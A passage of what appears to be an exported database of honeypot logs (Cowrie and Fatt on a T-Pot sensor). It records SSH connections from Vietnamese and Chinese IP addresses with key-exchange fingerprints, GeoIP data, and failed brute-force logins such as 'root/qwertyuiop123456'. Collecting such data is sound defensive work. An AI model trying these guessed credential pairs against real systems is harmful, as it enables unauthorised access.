"hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0d0f936f84a1", "@version": "1", "timestamp": "2021-09-20T11:12:08.758321Z", "@timestamp": "2021-09-20T11:12:08.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26494	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:09.766856+03	2021-09-20 14:15:13.343647+03	{"_id": "egbnAnwBvYTbRNuE_SHK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/postgres] failed", "session": "0d0f936f84a1", "@version": "1", "password": "postgres", "username": "postgres", "timestamp": "2021-09-20T11:12:09.766856Z", "@timestamp": "2021-09-20T11:12:09.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26495	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:12:06.003549+03	2021-09-20 14:15:13.345647+03	{"_id": "YgbnAnwBvYTbRNuE7SGD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:06.003549", "@timestamp": "2021-09-20T11:12:06.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26496	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:05.792646+03	2021-09-20 14:15:13.346648+03	{"_id": "ZAbnAnwBvYTbRNuE7iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4a22fd910f37", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:05.792646Z", "@timestamp": "2021-09-20T11:12:05.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26498	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:06.004268+03	2021-09-20 14:15:13.348648+03	{"_id": "ZgbnAnwBvYTbRNuE7iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4a22fd910f37", "@version": "1", "timestamp": "2021-09-20T11:12:06.004268Z", "@timestamp": "2021-09-20T11:12:06.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26499	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:12:06.779307+03	2021-09-20 14:15:13.350645+03	{"_id": "agbnAnwBvYTbRNuE8iEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c80c335343b4", "@version": "1", "duration": 2.7777037620544434, "timestamp": "2021-09-20T11:12:06.779307Z", "@timestamp": "2021-09-20T11:12:06.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26500	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:08.48245+03	2021-09-20 14:15:13.352648+03	{"_id": "cAbnAnwBvYTbRNuE9SH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0d0f936f84a1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:08.482450Z", "@timestamp": "2021-09-20T11:12:08.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26501	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:08.757891+03	2021-09-20 14:15:13.353645+03	{"_id": "dwbnAnwBvYTbRNuE-SE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55006, "dest_port": 22, "timestamp": "2021-09-20T11:12:08.757891", "@timestamp": "2021-09-20T11:12:08.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26502	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:09.053514+03	2021-09-20 14:15:13.354647+03	{"_id": "eAbnAnwBvYTbRNuE-SHh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4a22fd910f37", "@version": "1", "duration": 3.263828992843628, "timestamp": "2021-09-20T11:12:09.053514Z", "@timestamp": "2021-09-20T11:12:09.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26503	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:16.240177+03	2021-09-20 14:15:13.356645+03	{"_id": "fgboAnwBvYTbRNuEFCGY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51356, "timestamp": "2021-09-20T11:12:16.240177", "@timestamp": "2021-09-20T11:12:16.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26504	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:16.068166+03	2021-09-20 14:15:13.357646+03	{"_id": "gQboAnwBvYTbRNuEFSE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "832565d1d09d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:16.068166Z", "@timestamp": "2021-09-20T11:12:16.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26505	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:17.395104+03	2021-09-20 14:15:13.358648+03	{"_id": "kQboAnwBvYTbRNuEGSEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwertyuiop123456] failed", "session": "832565d1d09d", "@version": "1", "password": "qwertyuiop123456", "username": "root", "timestamp": "2021-09-20T11:12:17.395104Z", "@timestamp": "2021-09-20T11:12:17.395Z", "t-pot_ip_ext": 